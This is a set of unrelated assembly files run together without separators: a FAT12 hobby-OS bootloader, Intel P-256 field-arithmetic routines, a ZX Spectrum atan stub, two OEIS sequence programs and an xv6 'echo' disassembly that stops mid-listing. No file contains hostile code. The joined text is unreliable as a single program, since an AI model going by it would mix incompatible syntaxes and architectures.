;+---------------------------------+ ;| SECTOR 1 - Primary Bootloader | ;+---------------------------------+ [bits 16] [org 0x0000] Start: jmp 0x07C0:Loader ; Jump over OEM block nop ;*************************************************; ; OEM Parameter block / BIOS Parameter Block ; ;*************************************************; TIMES 0Bh-$+Start DB 0 bpbBytesPerSector: DW 512 ; 11 Byte offset bpbSectorsPerCluster: DB 1 ; 13 bpbReservedSectors: DW 1 ; 14 bpbNumberOfFATs: DB 2 ; 16 bpbRootEntries: DW 224 ; 17 bpbTotalSectors: DW 2880 ; 19 bpbMedia: DB 0xF0 ; 21 bpbSectorsPerFAT: DW 9 ; 22 bpbSectorsPerTrack: DW 18 ; 24 bpbHeadsPerCylinder: DW 2 ; 26 bpbHiddenSectors: DD 0 ; 28 bpbTotalSectorsBig: DD 0 ; 32 bsDriveNumber: DB 0 ; 36 bsUnused: DB 0 ; 37 bsExtBootSignature: DB 0x29 ; 38 bsSerialNumber: DD 0xa0a1a2a3 ; 42 bsVolumeLabel: DB "EDOS " ; 43 bsFileSystem: DB "FAT12 " ; 44 ;*************************************************; Loader: ; Setup Segments and Stack cli mov ax, 0x07C0 mov ds, ax mov es, ax mov ax, 0x0000 mov ss, ax mov sp, 0xFFFF sti mov [DISK], dl ; Set disk mov si, FILENAME mov bx, 0x0000 ; Offset mov ax, 0x0050 ; Segment call Disk.GetFile jmp 0x0000:0x0500 ; Jump to Second Stage ; ----- Routines ----- %include "src/disk.asm" Print: push ax .Loop: lodsb or al, al jz .Exit mov ah, 0x0e int 0x10 jmp .Loop .Exit: pop ax ret ; ----- Variables ----- DISK EQU 0xF000 LBA EQU 0xF002 RD_START EQU 0xF004 RD_SIZE EQU 0xF006 MEM_OFFSET: dw 0x0200 FILENAME: db "LOADER SYS" times 510 - ($-$$) db 0 dw 0xAA55
############################################################################### # Copyright 2019 Intel Corporation # All Rights Reserved. # # If this software was obtained under the Intel Simplified Software License, # the following terms apply: # # The source code, information and material ("Material") contained herein is # owned by Intel Corporation or its suppliers or licensors, and title to such # Material remains with Intel Corporation or its suppliers or licensors. The # Material contains proprietary information of Intel or its suppliers and # licensors. The Material is protected by worldwide copyright laws and treaty # provisions. No part of the Material may be used, copied, reproduced, # modified, published, uploaded, posted, transmitted, distributed or disclosed # in any way without Intel's prior express written permission. No license under # any patent, copyright or other intellectual property rights in the Material # is granted to or conferred upon you, either expressly, by implication, # inducement, estoppel or otherwise. Any license under such intellectual # property rights must be express and approved by Intel in writing. # # Unless otherwise agreed by Intel in writing, you may not remove or alter this # notice or any other notice embedded in Materials by Intel or Intel's # suppliers or licensors in any way. # # # If this software was obtained under the Apache License, Version 2.0 (the # "License"), the following terms apply: # # You may not use this file except in compliance with the License. You may # obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 # # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # # See the License for the specific language governing permissions and # limitations under the License. ############################################################################### .text p256r1_data: _prime256r1: .long 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0x0, 0x0, 0x0, 0x1, 0xFFFFFFFF .p2align 4, 0x90 _add_256: movl (%esi), %eax addl (%ebx), %eax movl %eax, (%edi) movl (4)(%esi), %eax adcl (4)(%ebx), %eax movl %eax, (4)(%edi) movl (8)(%esi), %eax adcl (8)(%ebx), %eax movl %eax, (8)(%edi) movl (12)(%esi), %eax adcl (12)(%ebx), %eax movl %eax, (12)(%edi) movl (16)(%esi), %eax adcl (16)(%ebx), %eax movl %eax, (16)(%edi) movl (20)(%esi), %eax adcl (20)(%ebx), %eax movl %eax, (20)(%edi) movl (24)(%esi), %eax adcl (24)(%ebx), %eax movl %eax, (24)(%edi) movl (28)(%esi), %eax adcl (28)(%ebx), %eax movl %eax, (28)(%edi) mov $(0), %eax adc $(0), %eax ret .p2align 4, 0x90 _sub_256: movl (%esi), %eax subl (%ebx), %eax movl %eax, (%edi) movl (4)(%esi), %eax sbbl (4)(%ebx), %eax movl %eax, (4)(%edi) movl (8)(%esi), %eax sbbl (8)(%ebx), %eax movl %eax, (8)(%edi) movl (12)(%esi), %eax sbbl (12)(%ebx), %eax movl %eax, (12)(%edi) movl (16)(%esi), %eax sbbl (16)(%ebx), %eax movl %eax, (16)(%edi) movl (20)(%esi), %eax sbbl (20)(%ebx), %eax movl %eax, (20)(%edi) movl (24)(%esi), %eax sbbl (24)(%ebx), %eax movl %eax, (24)(%edi) movl (28)(%esi), %eax sbbl (28)(%ebx), %eax movl %eax, (28)(%edi) mov $(0), %eax adc $(0), %eax ret .p2align 4, 0x90 _shl_256: movdqu (%esi), %xmm0 movdqu (16)(%esi), %xmm1 movl (28)(%esi), %eax movdqa %xmm0, %xmm2 psllq $(1), %xmm0 psrlq $(63), %xmm2 movdqa %xmm1, %xmm3 psllq $(1), %xmm1 psrlq $(63), %xmm3 palignr $(8), %xmm2, %xmm3 pslldq $(8), %xmm2 por %xmm3, %xmm1 por %xmm2, %xmm0 movdqu %xmm0, (%edi) movdqu %xmm1, (16)(%edi) shr $(31), %eax ret .p2align 4, 0x90 _shr_256: movd %eax, %xmm4 movdqu (%esi), %xmm0 movdqu (16)(%esi), %xmm1 psllq $(63), %xmm4 movdqa %xmm0, %xmm2 psrlq $(1), %xmm0 psllq $(63), %xmm2 movdqa %xmm1, %xmm3 psrlq $(1), %xmm1 psllq $(63), %xmm3 palignr $(8), %xmm3, %xmm4 palignr $(8), %xmm2, %xmm3 por %xmm4, %xmm1 por %xmm3, %xmm0 movdqu %xmm0, (%edi) movdqu %xmm1, (16)(%edi) ret .p2align 4, 0x90 .globl _p256r1_add _p256r1_add: push %ebp mov %esp, %ebp push %ebx push %esi push %edi mov %esp, %eax sub $(36), %esp and $(-16), %esp movl %eax, (32)(%esp) movl (8)(%ebp), %edi movl (12)(%ebp), %esi movl (16)(%ebp), %ebx call _add_256 mov %eax, %edx lea (%esp), %edi movl (8)(%ebp), %esi call .L__0000gas_5 .L__0000gas_5: pop %ebx sub $(.L__0000gas_5-p256r1_data), %ebx lea ((_prime256r1-p256r1_data))(%ebx), %ebx call _sub_256 lea (%esp), %esi movl (8)(%ebp), %edi sub %eax, %edx cmovne %edi, %esi movdqu (%esi), %xmm0 movdqu (16)(%esi), %xmm1 movdqu %xmm0, (%edi) movdqu %xmm1, (16)(%edi) mov (32)(%esp), %esp pop %edi pop %esi pop %ebx pop %ebp ret .p2align 4, 0x90 .globl _p256r1_sub _p256r1_sub: push %ebp mov %esp, %ebp push %ebx push %esi push %edi mov %esp, %eax sub $(36), %esp and $(-16), %esp movl %eax, (32)(%esp) movl (8)(%ebp), %edi movl (12)(%ebp), %esi movl (16)(%ebp), %ebx call _sub_256 mov %eax, %edx lea (%esp), %edi movl (8)(%ebp), %esi call .L__0001gas_6 .L__0001gas_6: pop %ebx sub $(.L__0001gas_6-p256r1_data), %ebx lea ((_prime256r1-p256r1_data))(%ebx), %ebx call _add_256 lea (%esp), %esi movl (8)(%ebp), %edi test %edx, %edx cmove %edi, %esi movdqu (%esi), %xmm0 movdqu (16)(%esi), %xmm1 movdqu %xmm0, (%edi) movdqu %xmm1, (16)(%edi) mov (32)(%esp), %esp pop %edi pop %esi pop %ebx pop %ebp ret .p2align 4, 0x90 .globl _p256r1_neg _p256r1_neg: push %ebp mov %esp, %ebp push %ebx push %esi push %edi mov %esp, %eax sub $(36), %esp and $(-16), %esp movl %eax, (32)(%esp) movl (8)(%ebp), %edi movl (12)(%ebp), %esi mov $(0), %eax subl (%esi), %eax movl %eax, (%edi) mov $(0), %eax sbbl (4)(%esi), %eax movl %eax, (4)(%edi) mov $(0), %eax sbbl (8)(%esi), %eax movl %eax, (8)(%edi) mov $(0), %eax sbbl (12)(%esi), %eax movl %eax, (12)(%edi) mov $(0), %eax sbbl (16)(%esi), %eax movl %eax, (16)(%edi) mov $(0), %eax sbbl (20)(%esi), %eax movl %eax, (20)(%edi) mov $(0), %eax sbbl (24)(%esi), %eax movl %eax, (24)(%edi) mov $(0), %eax sbbl (28)(%esi), %eax movl %eax, (28)(%edi) sbb %edx, %edx lea (%esp), %edi movl (8)(%ebp), %esi call .L__0002gas_7 .L__0002gas_7: pop %ebx sub $(.L__0002gas_7-p256r1_data), %ebx lea ((_prime256r1-p256r1_data))(%ebx), %ebx call _add_256 lea (%esp), %esi movl (8)(%ebp), %edi test %edx, %edx cmove %edi, %esi movdqu (%esi), %xmm0 movdqu (16)(%esi), %xmm1 movdqu %xmm0, (%edi) movdqu %xmm1, (16)(%edi) mov (32)(%esp), %esp pop %edi pop %esi pop %ebx pop %ebp ret .p2align 4, 0x90 .globl _p256r1_mul_by_2 _p256r1_mul_by_2: push %ebp mov %esp, %ebp push %ebx push %esi push %edi mov %esp, %eax sub $(36), %esp and $(-16), %esp movl %eax, (32)(%esp) lea (%esp), %edi movl (12)(%ebp), %esi call _shl_256 mov %eax, %edx mov %edi, %esi movl (8)(%ebp), %edi call .L__0003gas_8 .L__0003gas_8: pop %ebx sub $(.L__0003gas_8-p256r1_data), %ebx lea ((_prime256r1-p256r1_data))(%ebx), %ebx call _sub_256 sub %eax, %edx cmove %edi, %esi movdqu (%esi), %xmm0 movdqu (16)(%esi), %xmm1 movdqu %xmm0, (%edi) movdqu %xmm1, (16)(%edi) mov (32)(%esp), %esp pop %edi pop %esi pop %ebx pop %ebp ret .p2align 4, 0x90 .globl _p256r1_mul_by_3 _p256r1_mul_by_3: push %ebp mov %esp, %ebp push %ebx push %esi push %edi mov %esp, %eax sub $(72), %esp and $(-16), %esp movl %eax, (68)(%esp) call .L__0004gas_9 .L__0004gas_9: pop %eax sub $(.L__0004gas_9-p256r1_data), %eax lea ((_prime256r1-p256r1_data))(%eax), %eax movl %eax, (64)(%esp) lea (%esp), %edi movl (12)(%ebp), %esi call _shl_256 mov %eax, %edx mov %edi, %esi lea (32)(%esp), %edi mov (64)(%esp), %ebx call _sub_256 sub %eax, %edx cmove %edi, %esi movdqu (%esi), %xmm0 movdqu (16)(%esi), %xmm1 movdqu %xmm0, (%edi) movdqu %xmm1, (16)(%edi) mov %edi, %esi movl (12)(%ebp), %ebx call _add_256 mov %eax, %edx movl (8)(%ebp), %edi mov (64)(%esp), %ebx call _sub_256 sub %eax, %edx cmove %edi, %esi movdqu (%esi), %xmm0 movdqu (16)(%esi), %xmm1 movdqu %xmm0, (%edi) movdqu %xmm1, (16)(%edi) mov (68)(%esp), %esp pop %edi pop %esi pop %ebx pop %ebp ret .p2align 4, 0x90 .globl _p256r1_div_by_2 _p256r1_div_by_2: push %ebp mov %esp, %ebp push %ebx push %esi push %edi mov %esp, %eax sub $(36), %esp and $(-16), %esp movl %eax, (32)(%esp) lea (%esp), %edi movl (12)(%ebp), %esi call .L__0005gas_10 .L__0005gas_10: pop %ebx sub $(.L__0005gas_10-p256r1_data), %ebx lea ((_prime256r1-p256r1_data))(%ebx), %ebx call _add_256 mov $(0), %edx movl (%esi), %ecx and $(1), %ecx cmovne %edi, %esi cmove %edx, %eax movl (8)(%ebp), %edi call _shr_256 mov (32)(%esp), %esp pop %edi pop %esi pop %ebx pop %ebp ret .p2align 4, 0x90 .globl _p256r1_mul_mont_slm _p256r1_mul_mont_slm: push %ebp mov %esp, %ebp push %ebx push %esi push %edi push %ebp mov %esp, %eax sub $(52), %esp and $(-16), %esp movl %eax, (48)(%esp) pxor %mm0, %mm0 movq %mm0, (%esp) movq %mm0, (8)(%esp) movq %mm0, (16)(%esp) movq %mm0, (24)(%esp) movd %mm0, (32)(%esp) movl (8)(%ebp), %edi movl (12)(%ebp), %esi movl (16)(%ebp), %ebp movl %edi, (36)(%esp) movl %esi, (40)(%esp) movl %ebp, (44)(%esp) mov $(8), %edi movd (4)(%esi), %mm1 movd (8)(%esi), %mm2 movd (12)(%esi), %mm3 movd (16)(%esi), %mm4 .p2align 4, 0x90 .Lmmul_loopgas_11: movd %edi, %mm7 movl (%ebp), %edx movl (%esi), %eax movd %edx, %mm0 add $(4), %ebp movl %ebp, (44)(%esp) pmuludq %mm0, %mm1 pmuludq %mm0, %mm2 mul %edx addl (%esp), %eax adc $(0), %edx pmuludq %mm0, %mm3 pmuludq %mm0, %mm4 movd %mm1, %ecx psrlq $(32), %mm1 add %edx, %ecx movd %mm1, %edx adc $(0), %edx addl (4)(%esp), %ecx movd (20)(%esi), %mm1 adc $(0), %edx movd %mm2, %ebx psrlq $(32), %mm2 add %edx, %ebx movd %mm2, %edx adc $(0), %edx addl (8)(%esp), %ebx movd (24)(%esi), %mm2 adc $(0), %edx pmuludq %mm0, %mm1 pmuludq %mm0, %mm2 movd %mm3, %ebp psrlq $(32), %mm3 add %edx, %ebp movd %mm3, %edx adc $(0), %edx addl (12)(%esp), %ebp movd (28)(%esi), %mm3 adc $(0), %edx movd %mm4, %edi psrlq $(32), %mm4 add %edx, %edi movd %mm4, %edx adc $(0), %edx addl (16)(%esp), %edi adc $(0), %edx pmuludq %mm0, %mm3 movl %ecx, (%esp) movl %ebx, (4)(%esp) add %eax, %ebp movl %ebp, (8)(%esp) adc $(0), %edi movl %edi, (12)(%esp) mov $(0), %edi adc $(0), %edi movd %mm1, %ecx psrlq $(32), %mm1 add %edx, %ecx movd %mm1, %edx adc $(0), %edx addl (20)(%esp), %ecx adc $(0), %edx movd %mm2, %ebx psrlq $(32), %mm2 add %edx, %ebx movd %mm2, %edx adc $(0), %edx addl (24)(%esp), %ebx adc $(0), %edx movd %mm3, %ebp psrlq $(32), %mm3 add %edx, %ebp movd %mm3, %edx adc $(0), %edx addl (28)(%esp), %ebp adc $(0), %edx add %edi, %ecx movl %ecx, (16)(%esp) adc %eax, %ebx movl %ebx, (20)(%esp) mov %eax, %ecx sbb $(0), %eax sub %eax, %ebp movl %ebp, (24)(%esp) movd %mm7, %edi sbb $(0), %ecx mov $(0), %ebx addl (32)(%esp), %edx adc $(0), %ebx add %ecx, %edx movl %edx, (28)(%esp) adc $(0), %ebx movl %ebx, (32)(%esp) sub $(1), %edi movd (4)(%esi), %mm1 movd (8)(%esi), %mm2 movd (12)(%esi), %mm3 movd (16)(%esi), %mm4 jz .Lexit_mmul_loopgas_11 movl (44)(%esp), %ebp jmp .Lmmul_loopgas_11 .Lexit_mmul_loopgas_11: emms mov (36)(%esp), %edi lea (%esp), %esi call .L__0006gas_11 .L__0006gas_11: pop %ebx sub $(.L__0006gas_11-p256r1_data), %ebx lea ((_prime256r1-p256r1_data))(%ebx), %ebx call _sub_256 movl (32)(%esp), %edx sub %eax, %edx cmove %edi, %esi movdqu (%esi), %xmm0 movdqu (16)(%esi), %xmm1 movdqu %xmm0, (%edi) movdqu %xmm1, (16)(%edi) mov (48)(%esp), %esp pop %ebp pop %edi pop %esi pop %ebx pop %ebp ret .p2align 4, 0x90 .globl _p256r1_sqr_mont_slm _p256r1_sqr_mont_slm: push %ebp mov %esp, %ebp push %esi push %edi movl (12)(%ebp), %esi movl (8)(%ebp), %edi push %esi push %esi push %edi call _p256r1_mul_mont_slm add $(12), %esp pop %edi pop %esi pop %ebp ret .p2align 4, 0x90 .globl _p256r1_mred _p256r1_mred: push %ebp mov %esp, %ebp push %ebx push %esi push %edi movl (12)(%ebp), %esi mov $(8), %ecx xor %edx, %edx .p2align 4, 0x90 .Lmred_loopgas_13: movl (%esi), %eax mov $(0), %ebx movl %ebx, (%esi) movl (12)(%esi), %ebx add %eax, %ebx movl %ebx, (12)(%esi) movl (16)(%esi), %ebx adc $(0), %ebx movl %ebx, (16)(%esi) movl (20)(%esi), %ebx adc $(0), %ebx movl %ebx, (20)(%esi) movl (24)(%esi), %ebx adc %eax, %ebx movl %ebx, (24)(%esi) movl (28)(%esi), %ebx push %eax sbb $(0), %eax sub %eax, %ebx movl %ebx, (28)(%esi) pop %eax movl (32)(%esi), %ebx sbb $(0), %eax add %edx, %eax mov $(0), %edx adc $(0), %edx add %eax, %ebx movl %ebx, (32)(%esi) adc $(0), %edx lea (4)(%esi), %esi sub $(1), %ecx jnz .Lmred_loopgas_13 movl (8)(%ebp), %edi call .L__0007gas_13 .L__0007gas_13: pop %ebx sub $(.L__0007gas_13-p256r1_data), %ebx lea ((_prime256r1-p256r1_data))(%ebx), %ebx call _sub_256 sub %eax, %edx cmove %edi, %esi movdqu (%esi), %xmm0 movdqu (16)(%esi), %xmm1 movdqu %xmm0, (%edi) movdqu %xmm1, (16)(%edi) pop %edi pop %esi pop %ebx pop %ebp ret .p2align 4, 0x90 .globl _p256r1_select_pp_w5 _p256r1_select_pp_w5: push %ebp mov %esp, %ebp push %esi push %edi pxor %xmm0, %xmm0 movl (8)(%ebp), %edi movl (12)(%ebp), %esi movl (16)(%ebp), %eax movd %eax, %xmm7 pshufd $(0), %xmm7, %xmm7 mov $(1), %edx movd %edx, %xmm6 pshufd $(0), %xmm6, %xmm6 movdqa %xmm0, (%edi) movdqa %xmm0, (16)(%edi) movdqa %xmm0, (32)(%edi) movdqa %xmm0, (48)(%edi) movdqa %xmm0, (64)(%edi) movdqa %xmm0, (80)(%edi) movdqa %xmm6, %xmm5 mov $(16), %ecx .p2align 4, 0x90 .Lselect_loopgas_14: movdqa %xmm5, %xmm4 pcmpeqd %xmm7, %xmm4 movdqa (%esi), %xmm0 pand %xmm4, %xmm0 por (%edi), %xmm0 movdqa %xmm0, (%edi) movdqa (16)(%esi), %xmm1 pand %xmm4, %xmm1 por (16)(%edi), %xmm1 movdqa %xmm1, (16)(%edi) movdqa (32)(%esi), %xmm0 pand %xmm4, %xmm0 por (32)(%edi), %xmm0 movdqa %xmm0, (32)(%edi) movdqa (48)(%esi), %xmm1 pand %xmm4, %xmm1 por (48)(%edi), %xmm1 movdqa %xmm1, (48)(%edi) movdqa (64)(%esi), %xmm0 pand %xmm4, %xmm0 por (64)(%edi), %xmm0 movdqa %xmm0, (64)(%edi) movdqa (80)(%esi), %xmm1 pand %xmm4, %xmm1 por (80)(%edi), %xmm1 movdqa %xmm1, (80)(%edi) paddd %xmm6, %xmm5 add $(96), %esi sub $(1), %ecx jnz .Lselect_loopgas_14 pop %edi pop %esi pop %ebp ret
; ; ; ZX Maths Routines ; ; 7/12/02 - Stefano Bodrato ; ; $Id: atan.asm,v 1.4 2015/08/10 08:52:12 stefano Exp $ ; ;double atan(double) ;Number in FA.. IF FORzx INCLUDE "zxfp.def" ENDIF IF FORzx81 INCLUDE "81fp.def" ENDIF IF FORlambda INCLUDE "lambdafp.def" ENDIF PUBLIC atan EXTERN fsetup1 EXTERN stkequ .atan call fsetup1 IF FORlambda defb ZXFP_ATN + 128 ELSE defb ZXFP_ATN defb ZXFP_END_CALC ENDIF jp stkequ
; A071317: a(n) = a(n-1) + sum of digits of n^2. ; 0,1,5,14,21,28,37,50,60,69,70,74,83,99,115,124,137,156,165,175,179,188,204,220,238,251,270,288,307,320,329,345,352,370,383,393,411,430,443,452,459,475,493,515,534,543,553,566,575,582,589,598,611,630,648,658,671,689,705,721,730,743,762,789,808,821,839,864,880,898,911,921,939,958,980,998,1023,1048,1066,1079,1089,1107,1126,1157,1175,1191,1216,1243,1265,1284,1293,1312,1334,1361,1386,1402,1420,1442,1461,1479,1480,1484,1493,1509,1525,1534,1547,1566,1584,1603,1607,1616,1632,1657,1684,1697,1716,1743,1762,1775,1784,1800,1825,1843,1865,1884,1911,1930,1952,1970,1986,2002,2020,2051,2079,2097,2125,2156,2174,2190,2206,2233,2246,2265,2283,2293,2306,2324,2340,2347,2356,2369,2379,2397,2416,2429,2447,2472,2497,2515,2528,2547,2565,2593,2624,2642,2667,2701,2719,2741,2760,2778,2806,2837,2855,2871,2896,2914,2936,2946,2955,2974,2987,3014,3039,3055,3082,3113,3132,3150,3160,3182,3209,3234,3259,3277,3299,3327,3345,3364,3368,3377,3393,3409,3427,3440,3459,3486,3505,3527,3536,3552,3577,3604,3635,3654,3681,3709,3731,3758,3774,3799,3826,3857,3876,3894,3913,3935,3962,3978,3994,4012,4034,4062,4089,4108,4139,4166,4191,4207,4225,4247,4275,4302,4330,4343,4361,4377,4393,4402 mov $9,$0 add $9,1 lpb $9,1 clr $0,7 sub $9,1 sub $0,$9 pow $0,2 lpb $0,1 mov $2,$0 div $0,10 mod $2,10 sub $2,1 add $5,$2 add $5,1 lpe add $8,$5 lpe mov $1,$8
; A022122: Fibonacci sequence beginning 3, 10. ; 3,10,13,23,36,59,95,154,249,403,652,1055,1707,2762,4469,7231,11700,18931,30631,49562,80193,129755,209948,339703,549651,889354,1439005,2328359,3767364,6095723,9863087,15958810,25821897,41780707,67602604,109383311,176985915 mov $1,3 lpb $0 sub $0,1 mov $2,10 add $2,$3 add $3,$1 mov $1,$2 lpe
_echo: file format elf32-i386 Disassembly of section .text: 00000000 <main>: #include "types.h" #include "stat.h" #include "user.h" int main(int argc, char *argv[]) { 0: 8d 4c 24 04 lea 0x4(%esp),%ecx 4: 83 e4 f0 and $0xfffffff0,%esp 7: ff 71 fc pushl -0x4(%ecx) a: 55 push %ebp b: 89 e5 mov %esp,%ebp d: 53 push %ebx e: 51 push %ecx f: 83 ec 10 sub $0x10,%esp 12: 89 cb mov %ecx,%ebx int i; for (i = 1; i < argc; i++) 14: c7 45 f4 01 00 00 00 movl $0x1,-0xc(%ebp) 1b: eb 3c jmp 59 <main+0x59> printf(1, "%s%s", argv[i], i + 1 < argc ? " " : "\n"); 1d: 8b 45 f4 mov -0xc(%ebp),%eax 20: 83 c0 01 add $0x1,%eax 23: 3b 03 cmp (%ebx),%eax 25: 7d 07 jge 2e <main+0x2e> 27: ba 31 08 00 00 mov $0x831,%edx 2c: eb 05 jmp 33 <main+0x33> 2e: ba 33 08 00 00 mov $0x833,%edx 33: 8b 45 f4 mov -0xc(%ebp),%eax 36: 8d 0c 85 00 00 00 00 lea 0x0(,%eax,4),%ecx 3d: 8b 43 04 mov 0x4(%ebx),%eax 40: 01 c8 add %ecx,%eax 42: 8b 00 mov (%eax),%eax 44: 52 push %edx 45: 50 push %eax 46: 68 35 08 00 00 push $0x835 4b: 6a 01 push $0x1 4d: e8 29 04 00 00 call 47b <printf> 52: 83 c4 10 add $0x10,%esp int main(int argc, char *argv[]) { int i; for (i = 1; i < argc; i++) 55: 83 45 f4 01 addl $0x1,-0xc(%ebp) 59: 8b 45 f4 mov -0xc(%ebp),%eax 5c: 3b 03 cmp (%ebx),%eax 5e: 7c bd jl 1d <main+0x1d> printf(1, "%s%s", argv[i], i + 1 < argc ? " " : "\n"); exit(); 60: e8 57 02 00 00 call 2bc <exit> 00000065 <stosb>: "cc"); } static inline void stosb(void *addr, int data, int cnt) { 65: 55 push %ebp 66: 89 e5 mov %esp,%ebp 68: 57 push %edi 69: 53 push %ebx asm volatile("cld; rep stosb" : 6a: 8b 4d 08 mov 0x8(%ebp),%ecx 6d: 8b 55 10 mov 0x10(%ebp),%edx 70: 8b 45 0c mov 0xc(%ebp),%eax 73: 89 cb mov %ecx,%ebx 75: 89 df mov %ebx,%edi 77: 89 d1 mov %edx,%ecx 79: fc cld 7a: f3 aa rep stos %al,%es:(%edi) 7c: 89 ca mov %ecx,%edx 7e: 89 fb mov %edi,%ebx 80: 89 5d 08 mov %ebx,0x8(%ebp) 83: 89 55 10 mov %edx,0x10(%ebp) "=D" (addr), "=c" (cnt) : "0" (addr), "1" (cnt), "a" (data) : "memory", "cc"); } 86: 90 nop 87: 5b pop %ebx 88: 5f pop %edi 89: 5d pop %ebp 8a: c3 ret 0000008b <strcpy>: #include "fcntl.h" #include "user.h" #include "x86.h" char *strcpy(char *s, char *t) { 8b: 55 push %ebp 8c: 89 e5 mov %esp,%ebp 8e: 83 ec 10 sub $0x10,%esp char *os; os = s; 91: 8b 45 08 mov 0x8(%ebp),%eax 94: 89 45 fc mov %eax,-0x4(%ebp) while ((*s++ = *t++) != 0) ; 97: 90 nop 98: 8b 45 08 mov 0x8(%ebp),%eax 9b: 8d 50 01 lea 0x1(%eax),%edx 9e: 89 55 08 mov %edx,0x8(%ebp) a1: 8b 55 0c mov 0xc(%ebp),%edx a4: 8d 4a 01 lea 0x1(%edx),%ecx a7: 89 4d 0c mov %ecx,0xc(%ebp) aa: 0f b6 12 movzbl (%edx),%edx ad: 88 10 mov %dl,(%eax) af: 0f b6 00 movzbl (%eax),%eax b2: 84 c0 test %al,%al b4: 75 e2 jne 98 <strcpy+0xd> return os; b6: 8b 45 fc mov -0x4(%ebp),%eax } b9: c9 leave ba: c3 ret 000000bb <strcmp>: int strcmp(const char *p, const char *q) { bb: 55 push %ebp bc: 89 e5 mov %esp,%ebp while (*p && *p == *q) be: eb 08 jmp c8 <strcmp+0xd> p++, q++; c0: 83 45 08 01 addl $0x1,0x8(%ebp) c4: 83 45 0c 01 addl $0x1,0xc(%ebp) return os; } int strcmp(const char *p, const char *q) { while (*p && *p == *q) c8: 8b 45 08 mov 0x8(%ebp),%eax cb: 0f b6 00 movzbl (%eax),%eax ce: 84 c0 test %al,%al d0: 74 10 je e2 <strcmp+0x27> d2: 8b 45 08 mov 0x8(%ebp),%eax d5: 0f b6 10 movzbl (%eax),%edx d8: 8b 45 0c mov 0xc(%ebp),%eax db: 0f b6 00 movzbl (%eax),%eax de: 38 c2 cmp %al,%dl e0: 74 de je c0 <strcmp+0x5> p++, q++; return (uchar) * p - (uchar) * q; e2: 8b 45 08 mov 0x8(%ebp),%eax e5: 0f b6 00 movzbl (%eax),%eax e8: 0f b6 d0 movzbl %al,%edx eb: 8b 45 0c mov 0xc(%ebp),%eax ee: 0f b6 00 movzbl (%eax),%eax f1: 0f b6 c0 movzbl %al,%eax f4: 29 c2 sub %eax,%edx f6: 89 d0 mov %edx,%eax } f8: 5d pop %ebp f9: c3 ret 000000fa <strlen>: uint strlen(char *s) { fa: 55 push %ebp fb: 89 e5 mov %esp,%ebp fd: 83 ec 10 sub $0x10,%esp int n; for (n = 0; s[n]; n++) ; 100: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp) 107: eb 04 jmp 10d <strlen+0x13> 109: 83 45 fc 01 addl $0x1,-0x4(%ebp) 10d: 8b 55 fc mov -0x4(%ebp),%edx 110: 8b 45 08 mov 0x8(%ebp),%eax 113: 01 d0 add %edx,%eax 115: 0f b6 00 movzbl (%eax),%eax 118: 84 c0 test %al,%al 11a: 75 ed jne 109 <strlen+0xf> return n; 11c: 8b 45 fc mov -0x4(%ebp),%eax } 11f: c9 leave 120: c3 ret 00000121 <memset>: void *memset(void *dst, int c, uint n) { 121: 55 push %ebp 122: 89 e5 mov %esp,%ebp stosb(dst, c, n); 124: 8b 45 10 mov 0x10(%ebp),%eax 127: 50 push %eax 128: ff 75 0c pushl 0xc(%ebp) 12b: ff 75 08 pushl 0x8(%ebp) 12e: e8 32 ff ff ff call 65 <stosb> 133: 83 c4 0c add $0xc,%esp return dst; 136: 8b 45 08 mov 0x8(%ebp),%eax } 139: c9 leave 13a: c3 ret 0000013b <strchr>: char *strchr(const char *s, char c) { 13b: 55 push %ebp 13c: 89 e5 mov %esp,%ebp 13e: 83 ec 04 sub $0x4,%esp 141: 8b 45 0c mov 0xc(%ebp),%eax 144: 88 45 fc mov %al,-0x4(%ebp) for (; *s; s++) 147: eb 14 jmp 15d <strchr+0x22> if (*s == c) 149: 8b 45 08 mov 0x8(%ebp),%eax 14c: 0f b6 00 movzbl (%eax),%eax 14f: 3a 45 fc cmp -0x4(%ebp),%al 152: 75 05 jne 159 <strchr+0x1e> return (char *)s; 154: 8b 45 08 mov 0x8(%ebp),%eax 157: eb 13 jmp 16c <strchr+0x31> return dst; } char *strchr(const char *s, char c) { for (; *s; s++) 159: 83 45 08 01 addl $0x1,0x8(%ebp) 15d: 8b 45 08 mov 0x8(%ebp),%eax 160: 0f b6 00 movzbl (%eax),%eax 163: 84 c0 test %al,%al 165: 75 e2 jne 149 <strchr+0xe> if (*s == c) return (char *)s; return 0; 167: b8 00 00 00 00 mov $0x0,%eax } 16c: c9 leave 16d: c3 ret 0000016e <gets>: char *gets(char *buf, int max) { 16e: 55 push %ebp 16f: 89 e5 mov %esp,%ebp 171: 83 ec 18 sub $0x18,%esp int i, cc; char c; for (i = 0; i + 1 < max;) { 174: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 17b: eb 42 jmp 1bf <gets+0x51> cc = read(0, &c, 1); 17d: 83 ec 04 sub $0x4,%esp 180: 6a 01 push $0x1 182: 8d 45 ef lea -0x11(%ebp),%eax 185: 50 push %eax 186: 6a 00 push $0x0 188: e8 47 01 00 00 call 2d4 <read> 18d: 83 c4 10 add $0x10,%esp 190: 89 45 f0 mov %eax,-0x10(%ebp) if (cc < 1) 193: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 197: 7e 33 jle 1cc <gets+0x5e> break; buf[i++] = c; 199: 8b 45 f4 mov -0xc(%ebp),%eax 19c: 8d 50 01 lea 0x1(%eax),%edx 19f: 89 55 f4 mov %edx,-0xc(%ebp) 1a2: 89 c2 mov %eax,%edx 1a4: 8b 45 08 mov 0x8(%ebp),%eax 1a7: 01 c2 add %eax,%edx 1a9: 0f b6 45 ef movzbl -0x11(%ebp),%eax 1ad: 88 02 mov %al,(%edx) if (c == '\n' || c == '\r') 1af: 0f b6 45 ef movzbl -0x11(%ebp),%eax 1b3: 3c 0a cmp $0xa,%al 1b5: 74 16 je 1cd <gets+0x5f> 1b7: 0f b6 45 ef movzbl -0x11(%ebp),%eax 1bb: 3c 0d cmp $0xd,%al 1bd: 74 0e je 1cd <gets+0x5f> char *gets(char *buf, int max) { int i, cc; char c; for (i = 0; i + 1 < max;) { 1bf: 8b 45 f4 mov -0xc(%ebp),%eax 1c2: 83 c0 01 add $0x1,%eax 1c5: 3b 45 0c cmp 0xc(%ebp),%eax 1c8: 7c 